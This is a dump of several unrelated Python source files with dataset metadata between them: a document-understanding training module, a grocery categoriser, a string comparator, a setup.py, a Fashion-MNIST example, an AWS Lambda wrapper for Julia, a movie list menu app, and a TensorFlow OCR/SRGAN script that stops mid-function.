to do for: %s\"%sFilename)\n \n self.traceln(\"\\t done [%.2fs]\"%chronoOff(\"predict_1\"))\n self.traceln(\" done [%.2fs]\"%chronoOff(\"predict\"))\n\n if storeX:\n self.traceln(\"STORING [X] in %s\"%storeX)\n self._mdl.gzip_cPickle_dump(storeX, lX)\n \n return lsOutputFilename\n\n def checkLabelCoverage(self, lY):\n #check that all classes are represented in the dataset\n #it is done again in train but we do that here also because the extractor can take along time, \n # and we may discover afterwards it was a useless dataset.\n aLabelCount, _ = np.histogram( np.hstack(lY) , range(self.nbClass+1))\n traceln(\" Labels count: \", aLabelCount, \" (%d graphs)\"%len(lY))\n traceln(\" Labels : \", self.getGraphClass().getLabelNameList())\n if np.min(aLabelCount) == 0:\n sMsg = \"*** ERROR *** Label(s) not observed in data.\"\n #traceln( sMsg+\" Label(s): %s\"% np.where(aLabelCount[:] == 0)[0] )\n lMissingLabels = [self.getGraphClass().getLabelNameList()[i] for i in np.where(aLabelCount[:] == 0)[0]]\n traceln( sMsg+\" Label(s): %s\"% lMissingLabels )\n raise ValueError(sMsg)\n return True\n\n #----- NFOLD STUFF\n def _nfold_Init(self, lsTrnColDir, n_splits=3, test_size=None, random_state=None, bStoreOnDisk=False):\n \"\"\"\n initialize a cross-validation\n if bStoreOnDisk is true, store the details of each fold on disk, for paralell execution of each\n return a splitter object, training file timestamp and list \n \"\"\"\n self.traceln(\"-\"*50)\n traceln(\"---------- INITIALIZING CROSS-VALIDATION ----------\")\n self.traceln(\"Model files '%s' in folder '%s'\"%(self.sModelName, self.sModelDir))\n #sConfigFile = os.path.join(self.sModelDir, self.sModelName+\".py\")\n #self.traceln(\" Configuration file: %s\"%sConfigFile)\n self.traceln(\"Evaluating with collection(s):\", lsTrnColDir)\n self.traceln(\"-\"*50)\n\n fnCrossValidDetails = os.path.join(self.sModelDir, \"fold_def.pkl\")\n if os.path.exists(fnCrossValidDetails):\n self.traceln(\"ERROR: I refuse to overwrite an existing CV setup. Remove manually the CV data! (files %s%s%s_fold* )\"%(self.sModelDir, os.sep, self.sModelName))\n exit(1)\n \n #list the train files\n traceln(\" - looking for %s files in %s\"%(self.sXmlFilenamePattern, lsTrnColDir))\n ts_trn, lFilename_trn = self.listMaxTimestampFile(lsTrnColDir, self.sXmlFilenamePattern)\n self.traceln(\" %d train documents\" % len(lFilename_trn))\n \n if test_size is None:\n test_size = 1.0 / n_splits\n splitter = ShuffleSplit(n_splits, test_size, random_state)\n \n if bStoreOnDisk:\n \n GraphModel.gzip_cPickle_dump(fnCrossValidDetails\n , (lsTrnColDir, n_splits, test_size, random_state))\n \n for i, (train_index, test_index) in enumerate(splitter.split(lFilename_trn)):\n iFold = i + 1\n traceln(\"---------- FOLD %d ----------\"%iFold)\n lFoldFilename_trn = [lFilename_trn[i] for i in train_index]\n lFoldFilename_tst = [lFilename_trn[i] for i in test_index]\n traceln(\"--- Train with: %s files\"%len(lFoldFilename_trn))\n traceln(\"--- Test with: %s files\"%len(lFoldFilename_tst))\n assert not( set(lFoldFilename_trn).intersection(lFoldFilename_tst)), set(lFoldFilename_trn).intersection(lFoldFilename_tst)\n \n #fnFoldDetails = os.path.join(self.sModelDir, self.sModelName+\"_fold_%d_def.pkl\"%iFold)\n fnFoldDetails = os.path.join(self.sModelDir, \"fold_%d_def.pkl\" % iFold)\n oFoldDetails = (iFold, ts_trn, lFilename_trn, train_index, test_index)\n GraphModel.gzip_cPickle_dump(fnFoldDetails, oFoldDetails)\n #store the list for TRN and TST in a human readable form\n for name, lFN in [('trn', lFoldFilename_trn), ('tst', lFoldFilename_tst)]:\n #with open(os.path.join(self.sModelDir, self.sModelName+\"_fold_%d_def_%s.txt\"%(iFold, name)), \"w\") as fd:\n with open(os.path.join(self.sModelDir, \"fold_%d_def_%s.txt\" % (iFold, name)),\n \"w\") as fd:\n fd.write(\"\\n\".join(lFN))\n fd.write(\"\\n\")\n traceln(\"--- Fold info stored in : %s\"%fnFoldDetails)\n \n return splitter, ts_trn, lFilename_trn\n\n def _nfold_RunFoldFromDisk(self, iFold, bWarm=False, bPickleXY=False):\n \"\"\"\n Run the fold iFold\n Store results on disk\n \"\"\"\n fnFoldDetails = os.path.join(self.sModelDir, \"fold_%d_def.pkl\"%abs(iFold))\n\n if os.path.exists(fnFoldDetails) is False:\n try:\n import fnmatch\n #Try to take an existing fold definition\n modelsFiles = os.listdir(self.sModelDir)\n found_files = fnmatch.filter(modelsFiles, '*'+\"_fold_%d_def.pkl\"%abs(iFold))\n if len(found_files)==1:\n traceln('Found an existing Fold definition:',found_files[0])\n fnFoldDetails=os.path.join(self.sModelDir,found_files[0])\n else:\n raise Exception('Could not find a fold definition')\n except ImportError:\n traceln('Could not load Python 3 fnmatch module ')\n\n traceln(\"--- Loading fold info from : %s\"% fnFoldDetails)\n oFoldDetails = GraphModel.gzip_cPickle_load(fnFoldDetails)\n (iFold_stored, ts_trn, lFilename_trn, train_index, test_index) = oFoldDetails\n assert iFold_stored == abs(iFold), \"Internal error. Inconsistent fold details on disk.\"\n \n if iFold > 0: #normal case\n oReport = self._nfold_RunFold(iFold, ts_trn, lFilename_trn, train_index, test_index, bWarm=bWarm, bPickleXY=bPickleXY)\n else:\n traceln(\"Switching train and test data for fold %d\"%abs(iFold))\n oReport = self._nfold_RunFold(iFold, ts_trn, lFilename_trn, test_index, train_index, bWarm=bWarm, bPickleXY=bPickleXY)\n \n fnFoldResults = os.path.join(self.sModelDir, self.sModelName+\"_fold_%d_TestReport.pkl\"%iFold)\n GraphModel.gzip_cPickle_dump(fnFoldResults, oReport)\n traceln(\" - Done (fold %d)\"%iFold)\n \n return oReport\n\n def _nfold_Finish(self):\n traceln(\"---------- SHOWING RESULTS OF CROSS-VALIDATION ----------\")\n \n fnCrossValidDetails = os.path.join(self.sModelDir, \"fold_def.pkl\")\n (lsTrnColDir, n_splits, test_size, random_state) = GraphModel.gzip_cPickle_load(fnCrossValidDetails)\n \n loReport = []\n for i in range(n_splits):\n iFold = i + 1\n fnFoldResults = os.path.join(self.sModelDir, self.sModelName+\"_fold_%d_TestReport.pkl\"%iFold)\n traceln(\"\\t-loading \", fnFoldResults)\n try:\n oReport = GraphModel.gzip_cPickle_load(fnFoldResults)\n \n loReport.append(oReport)\n except:\n traceln(\"\\tWARNING: fold %d has NOT FINISHED or FAILED\"%iFold)\n\n oNFoldReport = TestReportConfusion.newFromReportList(self.sModelName+\" (ALL %d FOLDS)\"%n_splits, loReport) #a test report based on the confusion matrix\n\n fnCrossValidDetails = os.path.join(self.sModelDir, self.sModelName+\"_folds_STATS.txt\")\n with open(fnCrossValidDetails, \"a\") as fd:\n #BIG banner\n fd.write(\"\\n\\n\")\n fd.write(\"#\"*80+\"\\n\")\n fd.write(\"# AGGREGATING FOLDS RESULTS \" + \"%s\\n\"%datetime.datetime.now().isoformat())\n fd.write(\"#\"*80+\"\\n\\n\")\n \n for oReport in loReport: \n fd.write(str(oReport))\n fd.write(\"%s\\n\"%(\" _\"*30))\n\n fd.write(str(oNFoldReport))\n \n return oNFoldReport\n\n def _nfold_RunFold(self, iFold, ts_trn, lFilename_trn, train_index, test_index, bWarm=False, bPickleXY=False):\n \"\"\"\n Run this fold\n Return a TestReport object\n \"\"\"\n traceln(\"---------- RUNNING FOLD %d ----------\"%iFold)\n lFoldFilename_trn = [lFilename_trn[i] for i in train_index]\n lFoldFilename_tst = [lFilename_trn[i] for i in test_index]\n traceln(\"--- Train with: %s\"%lFoldFilename_trn)\n traceln(\"--- Test with: %s\"%lFoldFilename_tst)\n \n self.traceln(\"- creating a %s model\"%self.cModelClass)\n sFoldModelName = self.sModelName+\"_fold_%d\"%iFold\n \n oReport = self._train_save_test(sFoldModelName, bWarm, lFoldFilename_trn, ts_trn, lFoldFilename_tst, [], bPickleXY)\n\n fnFoldReport = os.path.join(self.sModelDir, self.sModelName+\"_fold_%d_STATS.txt\"%iFold)\n with open(fnFoldReport, \"w\") as fd:\n fd.write(str(oReport))\n \n return oReport\n \n def nfold_Eval(self, lsTrnColDir, n_splits=3, test_size=None, random_state=None, bPickleXY=False):\n \"\"\"\n n-fold evaluation on the training data\n \n - list all files\n - generate a user defined number of independent train / test dataset splits. Samples are first shuffled and then split into a pair of train and test sets\n - for each split: \n - train a CRF and all baseline model\n - test and make a TestReport\n - save the model\n - return a list of TestReports\n \"\"\"\n \n splitter, ts_trn, lFilename_trn = self._nfold_Init(lsTrnColDir, n_splits, test_size, random_state)\n \n loTstRpt = []\n \n for i, (train_index, test_index) in enumerate(splitter.split(lFilename_trn)):\n oReport = self._nfold_RunFold(i+1, ts_trn, lFilename_trn, train_index, test_index, bPickleXY=False)\n traceln(oReport)\n loTstRpt.append(oReport)\n \n return loTstRpt\n\n #---------------------------------------------------------------------------------------------------------- \n def _pickleData(self, mdl, lGraph, name):\n self.traceln(\"- Computing data structure of all graphs and features...\")\n #for GCN\n bGCN_revert = False\n if bGCN_revert:\n for g in lGraph: g.revertEdges()\n lX, lY = mdl.get_lX_lY(lGraph)\n sFilename = mdl.getTrainDataFilename(name)\n if bGCN_revert:\n sFilename = sFilename.replace(\"_tlXlY_\", \"_tlXrlY_\")\n self.traceln(\"- storing (lX, lY) into %s\"%sFilename)\n mdl.gzip_cPickle_dump(sFilename, (lX, lY))\n return\n \n def _train_save_test(self, sModelName, bWarm, lFilename_trn, ts_trn, lFilename_tst, lFilename_vld, bPickleXY\n , ratio_train_val=None):\n \"\"\"\n used both by train_save_test and _nfold_runFold\n if provided, try using lFilename_vld as validation set to make best model.\n \"\"\"\n mdl = self.cModelClass(sModelName, self.sModelDir)\n \n if os.path.exists(mdl.getModelFilename()) and not bWarm: \n raise GraphModelException(\"Model exists on disk already (%s), either remove it first or warm-start the training.\"%mdl.getModelFilename())\n \n mdl.configureLearner(**self.config_learner_kwargs)\n mdl.setBaselineModelList(self._lBaselineModel)\n mdl.saveConfiguration( (self.config_extractor_kwargs, self.config_learner_kwargs) )\n self.traceln(\"\\t - configuration: \", self.config_learner_kwargs )\n\n self.traceln(\"- loading training graphs\")\n lGraph_trn = self.cGraphClass.loadGraphs(self.cGraphClass, lFilename_trn, bDetach=True, bLabelled=True, iVerbose=1)\n self.traceln(\" %d training graphs loaded\"%len(lGraph_trn))\n\n if lFilename_vld:\n self.traceln(\"- loading validation graphs\")\n lGraph_vld = self.cGraphClass.loadGraphs(self.cGraphClass, lFilename_vld, bDetach=True, bLabelled=True, iVerbose=1)\n self.traceln(\" %d validation graphs loaded\"%len(lGraph_vld))\n else:\n lGraph_vld = []\n if ratio_train_val is None:\n self.traceln(\"- no validation graphs\")\n else:\n lG = [g for g in lGraph_trn]\n split_idx = int(ratio_train_val * len(lG))\n lGraph_vld = lG[:split_idx ]\n lGraph_trn = lG[ split_idx:]\n del lG\n self.traceln(\"- extracted %d validation graphs, got %d training graphs (ratio=%.3f)\" \n % (len(lGraph_vld), len(lGraph_trn), ratio_train_val))\n\n #for this check, we load the Y once...\n if self.bConjugate:\n mdl.setNbClass(self.nbEdgeLabel)\n for _g in lGraph_trn: _g.computeEdgeLabels()\n for _g in lGraph_vld: _g.computeEdgeLabels()\n else:\n assert self.nbClass and self.lNbClass, \"internal error: I expected the number of class to be automatically computed at that stage\"\n if self.iNbNodeType == 1:\n mdl.setNbClass(self.nbClass)\n else:\n mdl.setNbClass(self.lNbClass)\n self.checkLabelCoverage(mdl.get_lY(lGraph_trn)) #NOTE that Y are in bad order if multiptypes. Not a pb here\n \n self.traceln(\"- retrieving or creating feature extractors...\")\n chronoOn(\"FeatExtract\")\n try:\n mdl.loadTransformers(ts_trn)\n except GraphModelException:\n fe = self.cFeatureDefinition(**self.config_extractor_kwargs) \n fe.fitTranformers(lGraph_trn)\n fe.cleanTransformers()\n mdl.setTranformers(fe.getTransformers())\n mdl.saveTransformers()\n \n # pretty print of features extractors\n self.traceln(\"\"\"--- Features ---\n--- NODES : %s\n\n--- EDGES : %s\n--- -------- ---\n\"\"\" % mdl.getTransformers())\n \n self.traceln(\" done [%.1fs]\"%chronoOff(\"FeatExtract\"))\n \n if bPickleXY:\n self._pickleData(mdl, lGraph_trn, \"trn\")\n\n self.traceln(\"- training model...\")\n chronoOn(\"MdlTrn\")\n mdl.train(lGraph_trn, lGraph_vld, True, ts_trn, verbose=1 if self.bVerbose else 0)\n mdl.save()\n self.traceln(\" done [%.1fs]\"%chronoOff(\"MdlTrn\"))\n \n # OK!!\n self._mdl = mdl\n \n if lFilename_tst:\n self.traceln(\"- loading test graphs\")\n lGraph_tst = self.cGraphClass.loadGraphs(self.cGraphClass, lFilename_tst, bDetach=True, bLabelled=True, iVerbose=1)\n if self.bConjugate:\n for _g in lGraph_tst: _g.computeEdgeLabels()\n self.traceln(\" %d graphs loaded\"%len(lGraph_tst))\n if bPickleXY:\n self._pickleData(mdl, lGraph_tst, \"tst\")\n else:\n oReport = mdl.test(lGraph_tst)\n else:\n oReport = None\n\n if bPickleXY:\n self.traceln(\"- pickle done, exiting\")\n exit(0)\n \n return oReport\n \n #---------------------------------------------------------------------------------------------------------- \n def listMaxTimestampFile(cls, lsDir, sPattern, bIgnoreDUFiles=True):\n \"\"\"\n List the file following the given pattern in the given folders\n return the timestamp of the most recent one\n Return a timestamp and a list of filename\n \"\"\"\n lFn, ts = [], None \n for sDir in lsDir:\n lsFilename = sorted(glob.iglob(os.path.join(sDir, sPattern))) \n if bIgnoreDUFiles:\n lsFilename = [s for s in lsFilename if not(os.path.splitext(s)[0].endswith(\"_du\"))]\n lFn.extend([s.replace(\"\\\\\", \"/\") for s in lsFilename]) #Unix-style is universal\n if lsFilename:\n ts_max = max([os.path.getmtime(sFilename) for sFilename in lsFilename])\n ts = ts_max if ts is None else max(ts, ts_max)\n ts = max(ts, ts_max)\n return ts, lFn\n listMaxTimestampFile = classmethod(listMaxTimestampFile)\n\n\n# ------------------------------------------------------------------------------------------------------------------------------\n\n\nif __name__ == \"__main__\":\n\n usage, parser = DU_Task.getStandardOptionsParser(sys.argv[0])\n\n parser.print_help()\n \n traceln(\"\\nThis module should not be run as command line. It does nothing. (And did nothing!)\")\n","sub_path":"TranskribusDU/tasks/DU_Task.py","file_name":"DU_Task.py","file_ext":"py","file_size_in_byte":43148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"644100621","text":"catList = {\n 'Milk 1l': 'shortLife',\n 'Imasi': 'shortLife',\n 'Bread': 'shortLife',\n 'Chakalaka Can': 'cannedGoods',\n 'Gold Dish Vegetable Curry Can': 'cannedGoods',\n 'Fanta 500ml': 'cooldrinks',\n 'Coke 500ml': 'cooldrinks',\n 'Cream Soda 500ml': 'cooldrinks',\n 'Iwisa Pap 5kg': 'longLife',\n 'Top Class Soy Mince': 'longLife',\n 'Shampoo 1 litre': 'toiletries',\n 'Soap Bar': 'toiletries',\n 'Bananas - loose': 'fruit',\n 'Apples - loose': 'fruit',\n 'Mixed Sweets 5s': 'sweets',\n 'Heart Chocolates': 'sweets',\n 'Rose (plastic)': 'gifts',\n 'Valentine Cards': 'gifts'\n}\n\ndef makeCat(itemMap):\n\n catMap = {};\n\n for itemName in itemMap:\n if not catMap[catList[itemName]]:\n catMap[catList[itemName]] = []\n \n catMap[catList[itemName]].update({\"product\": itemName, \"qty\": itemMap[itemName]}) \n return catMap;\n","sub_path":"csvFunctions/makeCat.py","file_name":"makeCat.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"86510493","text":"import sys\n\ndef main(args):\n lines = sys.stdin.readlines()\n a = lines[0].strip().lower()\n b = lines[1].strip().lower()\n if a < b:\n print(\"-1\")\n elif a > b:\n print(\"1\")\n else:\n print(\"0\")\n\nif __name__ == \"__main__\":\n main(sys.argv)\n","sub_path":"101_200/problem_112_a/problem_112_a.py","file_name":"problem_112_a.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"448677913","text":"# -*- coding: UTF-8 -*-\n# Copyright (c) 2018, Thomas Hartmann\n#\n# This file is part of the obob_mne Project, see:\n# https://gitlab.com/obob/obob_mne\n#\n# obob_mne is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# obob_mne is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with obob_subjectdb. If not, see .\n\nfrom codecs import open\n\nimport os.path\nfrom setuptools import setup, find_packages\n\n# find the location of this file\nthis_directory = os.path.abspath(os.path.dirname(__file__))\n\n# Get the long description from the README file\nwith open(os.path.join(this_directory, 'README.md'), encoding='utf-8') as f:\n long_description = f.read()\n\n# Get the Module Version from the VERSION file\nwith open(os.path.join(this_directory, 'VERSION'), encoding='utf-8') as f:\n version = f.read()\n\n# define required modules\nrequired = ['mne', 'scipy', 'numpy', 'obob_condor']\n\nsetup(\n name='obob_mne',\n packages=find_packages(),\n url='https://gitlab.com/obob/obob_mne',\n version=version,\n description='I am obob_mne',\n long_description=long_description,\n license='GPL3',\n author='Thomas Hartmann',\n author_email='thomas.hartmann@th-ht.de',\n install_requires=required,\n entry_points={\n 'console_scripts': [\n 'import_subject_to_freesurfer=obob_mne.mri.cmd.import_subject:import_subject',\n 'make_freesurfer_bem=obob_mne.mri.cmd.make_freesurfer_bem:make_freesurfer_bem_cmd',\n 'make_freesurfer_sourcespaces=obob_mne.mri.cmd.make_source_space:make_freesurfer_sourcespaces_cmd'\n ]\n }\n)\n","sub_path":"pypi_install_script/obob_mne-0.0.15.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"167912285","text":"#Импрот\nimport tensorflow as tf\nfrom tensorflow import keras\nimport numpy as np\n\n\n#Загружаем датасет\nfashion_mnist = keras.datasets.fashion_mnist\n(train_images, train_labels), (test_images, test_labels) = fashion_mnist.load_data()\n\n\nclass_names = ['Футболка / топ', \"Шорты\", \"Свитер\", \"Платье\",\n \"Плащ\", \"Сандали\", \"Рубашка\", \"Кроссовок\", \"Сумка\",\n \"Ботинок\"]\n\ntrain_images = train_images / 255.0\ntest_images = test_images / 255.0\n\n#Нейронная сеть\nmodel = keras.Sequential([\n keras.layers.Flatten(input_shape=(28, 28)),\n keras.layers.Dense(128, activation=tf.nn.relu),\n keras.layers.Dense(10, activation=tf.nn.softmax)\n])\n\n#Компилируем модель\nmodel.compile(optimizer=tf.train.AdamOptimizer(), \n loss='sparse_categorical_crossentropy',\n metrics=['accuracy'])\n\n#Тренируем модель\nmodel.fit(train_images, train_labels, epochs=5)\n\n#Сравниваем модель в тестовом наборе данных\ntest_loss, test_acc = model.evaluate(test_images, test_labels)\nprint('Test accuracy:', test_acc)\n\n#Прогнозирование\npredictions = model.predict(test_images)\nprint(predictions[0])\n\n","sub_path":"z1_3.py","file_name":"z1_3.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"431199257","text":"#==============================================================================#\n# lambda_main.py\n#\n# AWS Lambda wrapper for Julia.\n#\n# See http://docs.aws.amazon.com/lambda/latest/dg/API_Reference.html\n#\n# Copyright OC Technology Pty Ltd 2014 - All rights reserved\n#==============================================================================#\n\n\nfrom __future__ import print_function\n\nimport subprocess\nimport os\nimport json\nimport threading\nimport time\nimport select\n\n\n# Set Julia package directory...\nname = os.environ['AWS_LAMBDA_FUNCTION_NAME']\nroot = os.environ['LAMBDA_TASK_ROOT']\nos.environ['HOME'] = '/tmp/'\nos.environ['JULIA_PKGDIR'] = root + '/julia'\nos.environ['JULIA_LOAD_PATH'] = root\nos.environ['PATH'] += ':' + root + '/bin'\n\n\n# Load configuration...\nexecfile('lambda_config.py')\n\n\n# Start Julia interpreter and run /var/task/lambda.jl...\njulia_proc = None\ndef start_julia():\n global julia_proc\n cmd = [root + '/bin/julia', '-i', '-e',\n 'using module_' + name + '; ' \\\n + 'using AWSLambdaWrapper; ' \\\n + 'AWSLambdaWrapper.main(module_' + name + ');']\n print(' '.join(cmd))\n julia_proc = subprocess.Popen(cmd, stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT)\n\n\n# Pass event and context to Julia as JSON with null,newline terminator...\ndef julia_invoke_lambda(event, context):\n json.dump({'event': event, 'context': context.__dict__},\n julia_proc.stdin,\n default=lambda o: '')\n julia_proc.stdin.write('\\0\\n')\n julia_proc.stdin.flush()\n\n\ndef main(event, context):\n\n # Clean up old return value file...\n if os.path.isfile('/tmp/lambda_out'):\n os.remove('/tmp/lambda_out')\n\n # Start or restart the Julia interpreter as needed...\n global julia_proc\n if julia_proc is None or julia_proc.poll() is not None:\n start_julia()\n\n # Pass \"event\" to Julia in new thread...\n threading.Thread(target=julia_invoke_lambda, args=(event, context)).start()\n\n # Calcualte execution time limit...\n time_limit = time.time() + context.get_remaining_time_in_millis()/1000.0\n time_limit -= 5.0\n\n # Wait for output from \"julia_proc\"...\n out = ''\n complete = False\n while time.time() < time_limit:\n ready = select.select([julia_proc.stdout], [], [], \n time_limit - time.time())\n if julia_proc.stdout in ready[0]:\n line = julia_proc.stdout.readline()\n if line == '\\0\\n' or line == '':\n complete = True\n break\n print(line, end='')\n out += line\n\n # Terminate Julia process on timeout...\n if not complete:\n print('Timeout!')\n out += 'Timeout!\\n'\n p = julia_proc\n julia_proc = None\n p.terminate()\n while p.poll() == None:\n ready = select.select([p.stdout], [], [], 1)\n if p.stdout in ready[0]:\n line = p.stdout.readline()\n print(line, end='')\n out += line\n\n # Check exit status...\n if julia_proc == None or julia_proc.poll() != None:\n if error_sns_arn != '':\n subject = 'Lambda ' + ('Error: ' if complete else 'Timeout: ') \\\n + name + json.dumps(event, separators=(',',':'))\n error = name + '\\n' \\\n + context.invoked_function_arn + '\\n' \\\n + context.log_group_name + context.log_stream_name + '\\n' \\\n + json.dumps(event) + '\\n\\n' \\\n + out\n import boto3\n try:\n boto3.client('sns').publish(TopicArn=error_sns_arn,\n Message=error,\n Subject=subject[:100])\n except Exception:\n pass\n\n raise Exception(out)\n\n # Return content of output file...\n if os.path.isfile('/tmp/lambda_out'):\n with open('/tmp/lambda_out', 'r') as f:\n return {'jl_data': f.read(), 'stdout': out}\n else:\n return {'stdout': out}\n\n\n\n#==============================================================================#\n# End of file.\n#==============================================================================#\n","sub_path":"src/lambda_main.py","file_name":"lambda_main.py","file_ext":"py","file_size_in_byte":4520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"137522470","text":"from user import User\nimport json, os\n\ndef menu():\n # Ask for the user's name\n name = input(\"Enter your name: \")\n\n # Check if a file exists for that user\n # If it already exists, welcome then and load their data.\n # If not, create a User object\n filename = \"{}.json\".format(name)\n\n if file_exists(filename):\n with open(filename, 'r') as f:\n try:\n json_data = json.load(f)\n except json.decoder.JSONDecodeError:\n print(\"Invalid JSON file\")\n return\n user = User.from_json(json_data)\n else:\n user = User(name)\n \n user_input = input('''Enter:\n 'a' to add a movie,\n 'm' to see the list of movies,\n 'w' to set a movie as watched,\n 'd' to delete a movie,\n 'l' to see a list of watched movies,\n 's' to save,\n 'q' to quit\n \n ''')\n\n while user_input != 'q':\n if user_input == 'a':\n movie_name = input(\"Enter the movie name: \")\n movie_genre = input(\"Enter the genre: \")\n user.add_movie(movie_name, movie_genre)\n elif user_input == 'm':\n for movie in user.movies:\n print(\"Name: {name}, Genre: {genre}, Watched: {watched}\".format(**movie.json())) # This is cool!!!\n elif user_input == 'w':\n movie_name = input(\"Enter the movie name to set as watched: \")\n user.set_watched(movie_name)\n elif user_input == 'd':\n movie_name = input(\"Enter the movie name to delete: \")\n user.delete_movie(movie_name)\n elif user_input == 'l':\n for movie in user.watched_movies():\n print(\"Name: {name}, Genre: {genre}, Watched: {watched}\".format(**movie.json())) # This is cool!!!\n elif user_input == 's':\n with open(filename, 'w') as f:\n json.dump(user.json(), f)\n elif user_input == 'q':\n return\n else:\n print(\"That is not a valid choice\")\n\n user_input = input('''Enter:\n 'a' to add a movie,\n 'm' to see the list of movies,\n 'w' to set a movie as watched,\n 'd' to delete a movie,\n 'l' to see a list of watched movies,\n 's' to save,\n 'q' to quit\n \n ''')\n\ndef file_exists(filename):\n return os.path.isfile(filename)\n\nmenu()\n","sub_path":"Projects/OOP_and_Postgres/movie-system/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"494154769","text":"# coding=utf-8\n\nimport tensorflow as tf\nimport numpy as np\nimport os\nimport utils\nimport time\nimport random\nimport cv2\nfrom PIL import Image, ImageDraw, ImageFont\nimport tensorflow.contrib.slim as slim\nimport math\nimport urllib,json,io\nimport utils_pil, utils_font, utils_nn\n\ncurr_dir = os.path.dirname(__file__)\n\nimage_height = 32\n\n# 所有 unicode CJK统一汉字(4E00-9FBB) + ascii的字符加 + ctc blank\n# https://zh.wikipedia.org/wiki/Unicode\n# https://zh.wikipedia.org/wiki/ASCII\nASCII_CHARS = [chr(c) for c in range(32,126+1)]\n#ZH_CHARS = [chr(c) for c in range(int('4E00',16),int('9FBB',16)+1)]\n#ZH_CHARS_PUN = ['。','?','!',',','、',';',':','「','」','『','』','‘','’','“','”',\\\n# '(',')','〔','〕','【','】','—','…','–','.','《','》','〈','〉']\n\nCHARS = ASCII_CHARS #+ ZH_CHARS + ZH_CHARS_PUN\n# CHARS = ASCII_CHARS\nCLASSES_NUMBER = len(CHARS) + 1 \n\n#初始化学习速率\nLEARNING_RATE_INITIAL = 1e-3\n# LEARNING_RATE_DECAY_FACTOR = 0.9\n# LEARNING_RATE_DECAY_STEPS = 2000\nREPORT_STEPS = 500\nMOMENTUM = 0.9\n\nBATCHES = 10\nBATCH_SIZE = 4\nTRAIN_SIZE = BATCHES * BATCH_SIZE\nTEST_BATCH_SIZE = BATCH_SIZE\nPOOL_COUNT = 3\nPOOL_SIZE = round(math.pow(2,POOL_COUNT))\nMODEL_SAVE_NAME = \"model_ascii_srgan\"\n\n# 降噪网络\ndef DnCNN(inputs):\n with tf.variable_scope(\"DnCNN\") as vs: \n layer = utils_nn.resNet34(inputs, False)\n layer = slim.conv2d(layer, 1, [1,1], normalizer_fn=slim.batch_norm, activation_fn=tf.nn.tanh)\n return layer\n\n# 原参考 https://github.com/zsdonghao/SRGAN/blob/master/model.py 失败,后期和D对抗时无法提升,后改为 resnet34\ndef SRGAN_g(inputs, reuse=False): \n with tf.variable_scope(\"SRGAN_g\", reuse=reuse) as vs: \n layer = utils_nn.resNet34(inputs, False)\n layer = slim.conv2d(layer, 1, [1,1], normalizer_fn=slim.batch_norm, activation_fn=tf.nn.tanh)\n return layer\n\ndef SRGAN_d(inputs, reuse=False):\n with tf.variable_scope(\"SRGAN_d\", reuse=reuse):\n layer, _ = utils_nn.resNet50(inputs, True) \n # layer = slim.conv2d(layer, 1, [1,1], normalizer_fn=slim.batch_norm, activation_fn=tf.nn.tanh)\n layer = slim.avg_pool2d(layer, [1, 4])\n layer = slim.fully_connected(layer, 1000, normalizer_fn=slim.batch_norm, activation_fn=tf.nn.relu)\n layer = slim.fully_connected(layer, 1, activation_fn=None) \n return layer\n\ndef RES(inputs, reuse = False):\n with tf.variable_scope(\"RES\", reuse=reuse):\n layer, conv = utils_nn.resNet50(inputs, True)\n shape = tf.shape(inputs)\n batch_size = shape[0] \n # layer = slim.conv2d(layer, CLASSES_NUMBER, [1,1], normalizer_fn=slim.batch_norm, activation_fn=tf.nn.tanh)\n layer = slim.fully_connected(layer, 1000, normalizer_fn=slim.batch_norm, activation_fn=tf.nn.relu)\n layer = slim.fully_connected(layer, CLASSES_NUMBER, normalizer_fn=None, activation_fn=None) \n layer = tf.reshape(layer, [batch_size, -1, CLASSES_NUMBER])\n return layer, conv\n\ndef neural_networks():\n # 输入:训练的数量,一张图片的宽度,一张图片的高度 [-1,-1,16]\n inputs = tf.placeholder(tf.float32, [None, None, image_height], name=\"inputs\")\n # 干净的图片\n clears = tf.placeholder(tf.float32, [None, None, image_height], name=\"clears\")\n # 放大后的图片\n targets = tf.placeholder(tf.float32, [None, None, image_height], name=\"targets\")\n labels = tf.sparse_placeholder(tf.int32, name=\"labels\")\n global_step = tf.Variable(0, trainable=False)\n\n shape = tf.shape(inputs)\n batch_size, image_width = shape[0], shape[1]\n\n layer = tf.reshape(inputs, (batch_size, image_width, image_height, 1))\n layer_clears = tf.reshape(clears, (batch_size, image_width, image_height, 1))\n layer_targets = tf.reshape(targets, (batch_size, image_width, image_height, 1))\n\n # 降噪网络\n dncnn = DnCNN(layer)\n dncnn_loss = tf.losses.mean_squared_error(layer_clears, dncnn)\n dncnn_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope='DnCNN') \n dncnn_optim = tf.train.AdamOptimizer(LEARNING_RATE_INITIAL).minimize(dncnn_loss, global_step=global_step, var_list=dncnn_vars)\n\n # OCR RESNET 识别 网络\n # net_res, _ = RES(layer_targets, reuse = True)\n net_res, _ = RES(layer, reuse = False)\n seq_len = tf.placeholder(tf.int32, [None], name=\"seq_len\")\n res_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope='RES')\n # 需要变换到 time_major == True [max_time x batch_size x 2048]\n net_res = tf.transpose(net_res, (1, 0, 2))\n 